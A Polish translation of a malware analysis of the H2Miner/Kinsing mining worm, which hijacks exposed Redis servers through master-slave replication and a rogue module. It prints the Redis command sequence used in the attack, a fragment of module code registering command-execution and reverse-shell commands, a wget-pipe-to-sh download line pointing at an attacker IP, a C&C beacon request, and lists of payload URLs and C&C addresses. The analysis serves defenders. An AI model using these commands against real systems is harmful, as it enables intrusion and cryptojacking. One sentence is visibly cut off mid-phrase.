Dzień temu jeden z serwerów mojego projektu został zaatakowany przez podobnego robaka. Szukając odpowiedzi na pytanie „co to było?”, natknąłem się na wspaniały artykuł zespołu Alibaba Cloud Security. Ponieważ nie znalazłem tego artykułu na Habrze, postanowiłem go przetłumaczyć specjalnie dla was <3
Wprowadzenie
Niedawno zespół bezpieczeństwa Alibaba Cloud odkrył nagły wzrost H2Miner. Ten typ złośliwego robaka wykorzystuje brak autoryzacji lub słabe hasła do Redis jako bramy do twoich systemów, a następnie synchronizuje swój złośliwy moduł z slave za pomocą synchronizacji master-slave i w końcu wgrywa ten złośliwy moduł na zaatakowaną maszynę, wykonując złośliwe instrukcje.
W przeszłości ataki na twoje systemy zazwyczaj były przeprowadzane przy użyciu metody obejmującej zaplanowane zadania lub klucze SSH, które były zapisywane na twojej maszynie po zalogowaniu się włamywacza do Redis. Na szczęście ta metoda rzadko się udaje z powodu problemów z kontrolą uprawnień lub różnych wersji systemu. Niemniej jednak, ta metoda ładowania złośliwego modułu może bezpośrednio wykonywać komendy atakującego lub uzyskiwać dostęp do powłoki, co jest niebezpieczne dla twojego systemu.
Z powodu dużej liczby serwerów Redis, które są hostowane w internecie (prawie 1 milion), zespół bezpieczeństwa Alibaba Cloud, przypominając przyjaźnie, zaleca użytkownikom, aby nie udostępniać dostępu do Redis z sieci oraz regularnie sprawdzać solidność swoich haseł, a także, czy nie są one narażone na szybkie łamanie.
H2Miner
H2Miner to botnet do wydobywania danych dla systemów opartych na Linuksie, który może wnikać do twojego systemu na kilka sposobów, w tym przez brak autoryzacji w Hadoop yarn, Docker oraz przez podatność na zdalne wykonanie komend Redis (RCE). Botnet działa poprzez ładowanie złośliwych skryptów i programów do wydobywania twoich danych, poziome rozszerzenie ataku oraz utrzymywanie łączności dowodzenia i kontroli (C&C).
Redis RCE
Pawel Toporkov podzielił się wiedzą na ten temat na ZeroNights 2018. Po wersji 4.0, Redis obsługuje funkcję ładowania zewnętrznych modułów, która pozwala użytkownikom ładować pliki so, skompilowane w C, do Redis w celu wykonania określonych komend Redis. Funkcja ta, chociaż przydatna, zawiera lukę, w której w trybie master-slave pliki mogą być synchronizowane z slave za pomocą pełnej synchronizacji. Może to być wykorzystane przez atakującego do przesyłania złośliwych plików so. Po zakończeniu transferu, cyberprzestępcy ładują moduł do zaatakowanej instancji Redis i wykonują dowolną komendę.
Analiza złośliwego robaka
Niedawno zespół zabezpieczeń Alibaba Cloud odkrył, że liczba złośliwych górników H2Miner nagle wzrosła. Zgodnie z analizą, ogólny proces powstawania ataku wygląda następująco:

H2Miner wykorzystuje RCE Redisa do pełnego ataku. Najpierw cyberprzestępcy atakują niezabezpieczone serwery Redis lub serwery z słabymi hasłami.
Następnie używają komendy config set dbfilename red2.so aby zmienić nazwę pliku. Po tym atakujący wykonują komendę slaveof aby ustawić adres hosta replikacji master-slave.
Gdy zaatakowana instancja Redis łączy się w trybie master-slave z złośliwym Redis, który należy do atakującego, wysyła on zarażony moduł za pomocą komendy pełnej synchronizacji, aby zsynchronizować pliki. Następnie plik red2.so zostanie załadowany na zaatakowaną maszynę. Po tym cyberprzestępcy używają modułu ./red2.so, aby załadować ten plik so. Moduł może wykonywać polecenia atakującego lub inicjować połączenie zwrotne (backdoor), aby uzyskać dostęp do zaatakowanej maszyny.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Po wykonaniu złośliwej komendy, takiej jak / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, cyberprzestępca zresetuje nazwę pliku kopii zapasowej i wyładował systemowy moduł, aby wyczyścić ślady. Niemniej jednak plik red2.so nadal pozostanie na zaatakowanej maszynie. Użytkownicy są zachęcani do zwracania uwagi na obecność takiego podejrzanego pliku w folderze ich instancji Redis.
Oprócz eliminacji niektórych złośliwych procesów w celu kradzieży zasobów, atakujący podjął złośliwą akcję, ładując i uruchamiając złośliwe pliki w postaci binarnej, aby . Oznacza to, że nazwa procesu lub katalogu zawierająca kinsing na hoście może wskazywać, że ta maszyna została zainfekowana tym wirusem.
Zgodnie z wynikami analizy wstecznej złośliwe oprogramowanie głównie wykonuje następujące funkcje:
- Ładowanie i uruchamianie plików
- Kopanie
- Utrzymywanie komunikacji C&C i wykonywanie poleceń atakującego

Użyj masscan do skanowania zewnętrznego, aby zwiększyć zasięg. Dodatkowo adres IP serwera C&C jest mocno zaszyfrowany w programie, a atakowany host będzie komunikować się z serwerem C&C za pomocą żądań HTTP, gdzie informacje o zombie (złamanym serwerze) są identyfikowane w nagłówku HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Inne metody ataków

Adresy i linki używane przez robaka
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Rada
Po pierwsze, Redis nie powinien być otwarty na dostęp z Internetu i powinien być chroniony silnym hasłem. Ważne jest również, aby klienci sprawdzali, czy w katalogu Redis nie ma pliku red2.so oraz czy w nazwie pliku/procesu na hoście nie ma "kinsing".
Źródło: habr.com
